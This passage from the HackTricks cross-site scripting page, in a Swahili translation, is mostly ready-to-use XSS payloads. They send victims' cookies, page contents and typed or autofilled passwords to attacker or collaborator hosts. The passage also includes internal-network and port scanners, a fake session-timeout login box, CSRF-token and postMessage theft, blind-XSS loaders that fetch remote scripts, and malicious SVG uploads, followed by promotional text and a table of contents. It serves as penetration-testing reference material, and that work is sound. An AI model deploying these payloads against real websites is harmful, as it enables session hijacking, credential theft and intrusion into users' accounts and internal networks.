<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

{% hint style="info" %} Hutaweza kupata upatikanaji wa vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kuki. Lakini hapa una njia kadhaa za kuzunguka ulinzi huu ikiwa una bahati ya kutosha. {% endhint %}

Pora Yaliyomo ya Ukurasa

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

Pata IP za ndani

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

Scanner ya Bandari (pata)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Scanner ya Bandari (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Muda mfupi unaashiria bandari inayojibu Muda mrefu unaashiria kutokuwepo kwa jibu.

Pitia orodha ya bandari zilizopigwa marufuku kwenye Chrome hapa na kwenye Firefox hapa.

Kisanduku cha kuomba sifa za kuingia

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Kupata Ujazo wa Maneno ya Siri kiotomatiki

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Wakati wowote data yoyote inawekwa kwenye uga wa nenosiri, jina la mtumiaji na nenosiri hutumwa kwa seva ya mshambuliaji, hata kama mteja anachagua nenosiri lililohifadhiwa na hawajaandika chochote, maelezo ya kuingia yatachukuliwa.

Keylogger

Kwa kutafuta tu kwenye github nilipata kadhaa tofauti:

https://github.com/JohnHoder/Javascript-Keylogger
https://github.com/rajeshmajumdar/keylogger
https://github.com/hakanonymos/JavascriptKeylogger
Unaweza pia kutumia metasploit http_javascript_keylogger

Kuiba vitambulisho vya CSRF

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Kuiba ujumbe wa PostMessage

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Kutumia Wafanyakazi wa Huduma

{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Kupata Shadow DOM

{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}

Polyglots

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

Mzigo wa Blind XSS

Unaweza pia kutumia: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - Pata Maudhui Yaliyofichwa

Kutoka hapa inawezekana kujifunza kwamba hata kama baadhi ya thamani zinaondoka kutoka JS, bado inawezekana kuzipata katika sifa za JS katika vitu tofauti. Kwa mfano, kuingiza REGEX bado inawezekana kuzipata baada ya thamani ya kuingiza ya regex kuondolewa:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Orodha ya Kujaribu Nguvu

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

XSS Kutumia mapungufu mengine

XSS katika Markdown

Je! Unaweza kuingiza nambari ya Markdown ambayo itaonyeshwa? Labda unaweza kupata XSS! Angalia:

{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}

XSS kwa SSRF

Je! Umepata XSS kwenye tovuti inayotumia caching? Jaribu kuiboresha kuwa SSRF kupitia Uingizaji wa Kando ya Edge Side na mzigo huu:

<esi:include src="http://yoursite.com/capture" />

Tumia hiyo kuki kuepuka vizuizi vya kuki, vichujio vya XSS na mengi zaidi!
Taarifa zaidi kuhusu mbinu hii hapa: XSLT.

XSS katika PDF iliyoundwa kwa njia ya kudumu

Ikiwa ukurasa wa wavuti unatengeneza PDF kwa kutumia kuingiza inayodhibitiwa na mtumiaji, unaweza kujaribu kudanganya bot ambayo inaunda PDF kutekeleza msimbo wa JS wa kupindukia.
Kwa hivyo, ikiwa boti ya muundaji wa PDF inapata aina fulani ya vitambulisho vya HTML, itatuma kuvitafsiri, na unaweza kutumia tabia hii kusababisha XSS ya Seva.

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

Ikiwa huwezi kuingiza vitambulisho vya HTML inaweza kuwa na thamani ya kujaribu kuingiza data ya PDF:

{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}

XSS katika Amp4Email

AMP, ikilenga kuharakisha utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha vitambulisho vya HTML vilivyosaidiwa na JavaScript kuhakikisha utendaji kwa kuzingatia kasi na usalama. Inasaidia anuwai ya vipengee kwa huduma mbalimbali, inayopatikana kupitia vipengee vya AMP.

Muundo wa AMP kwa Barua pepe unapanua vipengee maalum vya AMP kwa barua pepe, ikiruhusu wapokeaji kuingiliana na yaliyomo moja kwa moja ndani ya barua pepe zao.

Mfano wa maandishi XSS katika Amp4Email katika Gmail.

XSS kupakia faili (svg)

Pakia kama picha faili kama ile ifuatayo (kutoka http://ghostlulz.com/xss-svg/):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>

<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>

<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>

<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Pata mizigo zaidi ya SVG katika https://github.com/allanlw/svg-cheatsheet

Mbinu za JS za Kipekee & Taarifa Husika

{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}

Vyanzo vya XSS

Ikiwa una nia katika kazi ya udukuzi na kudukua yasiyoweza kudukuliwa - tunahitaji wewe! (ujuzi wa Kipolishi wa kuandika na kusema unahitajika).

{% embed url="https://www.stmcyber.com/careers" %}

Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
Pata bidhaa rasmi za PEASS & HackTricks
Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.

72 KiB Raw Blame History Unescape Escape

XSS (Cross Site Scripting)

Mbinu

Thamani Zilizoonyeshwa

Muktadha

HTML Ghafi

Ndani ya sifa za vitambulisho vya HTML

Ndani ya msimbo wa JavaScript

Kukweka Javascript

Kazi ya Javascript

DOM

Universal XSS

Kupitisha WAF kwa kuweka picha

Kuingiza ndani ya HTML ghafi

Nguvu ya Vitambulisho/Matukio

Vitambulisho vya Kibinafsi

Kupitisha Orodha ya Kupiga Marufuku

Kupitisha urefu (XSSs ndogo)

Bonyeza XSS - Clickjacking

Haiwezekani - Dangling Markup

Kuingiza ndani ya lebo ya HTML

Ndani ya lebo/kutoroka kutoka thamani ya sifa

Ndani ya sifa

Itifaki Maalum Ndani ya sifa

Kubadilisha tabu ya nabbing

Kwenye Mabwawa ya Tukio

XSS katika "Vitambulisho visivyoweza kudukuliwa" (kuingiza siri, kiungo, kanoni, meta)

Kuepuka Orodha ya Kupiga marufuku

CSS-Gadgets

Kuingiza ndani ya nambari ya JavaScript

Kuepuka lebo ya <script>

Ndani ya msimbo wa JS

Template literals ``

Utekelezaji wa kanuni iliyohifadhiwa

Kubadilisha Unicode ya Utekelezaji wa JS

Mbinu za kukiuka orodha nyeusi ya JavaScript

Mazingira ya DOM

Njia Nyingine za Kupita

Unicode Iliyopangiliwa

Kukiuka Bendi ya PHP FILTER_VALIDATE_EMAIL

Kupita kwa Ruby-On-Rails

Mchanganyiko Maalum

XSS na uingizaji wa kichwa katika jibu la 302

Barua, Nambari na Dots Pekee

Aina za Yaliyomo ya <script> Zinazokubalika kwa XSS

Aina za Script za XSS

Aina za Yaliyomo kwenye Wavuti kwa XSS

Aina ya Yaliyomo ya xml

Mifano Ma Kipekee ya Badiliko

Akiba ya Chrome kwa XSS

Kutoroka Kutoka XS Jails

Obfuscation & Advanced Bypass

XSS mizigo ya kawaida

Mzigo wa mizigo kadhaa ndani ya 1

Pata Vidakuzi

Pora Yaliyomo ya Ukurasa

Pata IP za ndani

Scanner ya Bandari (pata)

Scanner ya Bandari (websockets)

Kisanduku cha kuomba sifa za kuingia

Kupata Ujazo wa Maneno ya Siri kiotomatiki

Keylogger

Kuiba vitambulisho vya CSRF

Kuiba ujumbe wa PostMessage

Kutumia Wafanyakazi wa Huduma

Kupata Shadow DOM

Polyglots

Mzigo wa Blind XSS

Regex - Pata Maudhui Yaliyofichwa

Orodha ya Kujaribu Nguvu

XSS Kutumia mapungufu mengine

XSS katika Markdown

XSS kwa SSRF

XSS katika PDF iliyoundwa kwa njia ya kudumu

XSS katika Amp4Email

XSS kupakia faili (svg)

Mbinu za JS za Kipekee & Taarifa Husika

Vyanzo vya XSS

72 KiB

Raw Blame History

Aina za Yaliyomo ya `<script>` Zinazokubalika kwa XSS